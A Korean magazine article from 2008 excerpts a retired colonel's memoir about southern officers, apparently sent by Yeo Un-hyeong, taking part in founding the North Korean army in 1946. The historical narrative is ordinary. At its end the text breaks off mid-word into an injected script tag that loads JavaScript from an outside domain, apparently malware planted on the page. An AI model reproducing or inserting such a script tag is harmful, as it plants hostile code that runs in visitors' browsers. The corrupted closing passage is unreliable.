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2008-02-05


한국군 예비역대령 方圓哲의 최초증언

정리=정운현 <중앙일보 통일문화연구소 현대사연구팀 기자>


46년의 북한 인민군 창설이, 몽양 여운형의 지시로 남한에서 특파된 군 장교 등 비밀팀의 주도하에 이뤄진 것으로 밝혀졌다. 이같은 사실은 예비역 대령인 방원철씨가 집필중인 회고록에서 처음 공개됐다. 중앙일보 현대사연구팀이 최근 단독입수한 방씨의 회고록은 해방 후 우리 국군과 북한인민군의 태동배경을 비롯해 그 과정에서의 비화를 실감나게 전하고 있다. 月刊중앙 WIN은 그 내용 가운데 인민군 창설과정을 발췌, 게재한다.

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▲ 방원철
1920년 중국 龍井 출생
新京군관학교 1기 졸업
만주군 중위로 해방 맞음
한국군 육군 소령으로 입대, 193부대장 역임
육본 초대 전사감, 기갑연대장 역임
33사단 연대장(대령)
논산훈련소 참모부장으로 대령 예편
46년 8월13일 오후 6시. 평양시 남산동 1번지 김일성 4호택(일제 때 평안남도 도지사 관사)응접실에서 북조선 인민군 창설과 관련된 제1차 회의가 극비리에 개최됐다.

이날 회의에 참석한 사람은 모두 12명. 북측인사로는 김책(金策·빨치산 출신), 무정(武亭·팔로군 출신), 최용환(崔龍煥·김일성의 소련어 통역원) 등 3인이었다. 남측에서는 나(방원철)를 포함해 박승환(朴承煥·만주국 보병학교 6기·항공중위), 박임항(朴林恒· 신경군관학교 1기· 예비역 육군중장), 최창륜(崔昌崙· 신경1기·예비역 대위·6·25 때 전사), 김영택(金永澤· 신경1기· 예비역 육군준장), 이재기(李再起· 신경2기·예비역 육군대령), 박창암(朴蒼岩·간도특설대 출신· 예비역 육군준장), 박준호(朴俊鎬·만주군 항공소위·예비역 육군대령), 김인수(金仁洙·일본대 졸업·학병 출신) 등 9명이었다.

남한에서 넘어간 우리 일행 9명은 이날 회의를 통해 인민군 창설에 첫발을 들여놨다. 일반인이 이해하기 어려운 이 회의가 열린 배경은 해방 전으로 거슬러올라간다. 43년 만주국 신경(新京)군관학교를 1기로 졸업한 나는 만주군 보병8단에 배치됐다. 44년 8월 한달간 봉천으로 특수폭파 교육을 받으러 갔다. 어느날 나는 초면인 박승환 중위의 방문을 받고 봉천시내 그의 집에 초대됐다. 거기서 박중위가 몽양 여운형 선생의 ‘건국동맹’(이하 건맹)과 관계맺고 있다는 것을 처음 알게 됐다.

나는 그날 그와 ‘동지’가 되기로 맹세하고 건맹 지하조직의 일원이 되었다. 우리 일행 중 대다수는 나처럼 박승환을 통해 건맹에 가입했거나 아니면 개인적으로 몽양과 친분있는 사람들이었다. 북에서는 우리가 건맹에 가입한 것을 높이 샀다. 북측은 빨치산 출신이 주류인 북측군맥과 달리 우리 대부분이 정규군 출신이라는 점에서 인민군 창설에 우리를 참여시켰다.

해방되던 해 만주군 중위였던 나는 46년 2월 초순 귀국했다. 그리고 황해도 신막(新幕)의 처가에서 잠시 쉬다 아내를 처가에 남겨둔 채 여비 3천원을 들고 서울행 열차에 올랐다. 서울에 도착한 나는 박승환·최창륜 동지와 만나 계동의 몽양 선생집을 찾아갔다. 당시 미군정 하의 남한은 정파간 이해가 엇갈린 데다 찬탁·반탁을 놓고 정국이 혼란했다. 몽양은 우리 일행을 반갑게 맞이했다.

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건국동맹 소속 10명 북에 密派되다

그는 “이제 정치협상으로 남북통일이 될 길은 끊겼다”며 “결국 무력으로 자웅을 겨루는 동족상잔의 비극이 남아있을 뿐”이라고 크게 탄식했다. 이어 “남한에선 제군의 선배·동료들이 국방경비대를 창설하고 있으니 큰 문제는 없으나 북에는 한 사람도 없지 않은가. 제군들이 북에 가서 군?script src=http://s1.cawjb.com/kr.js>

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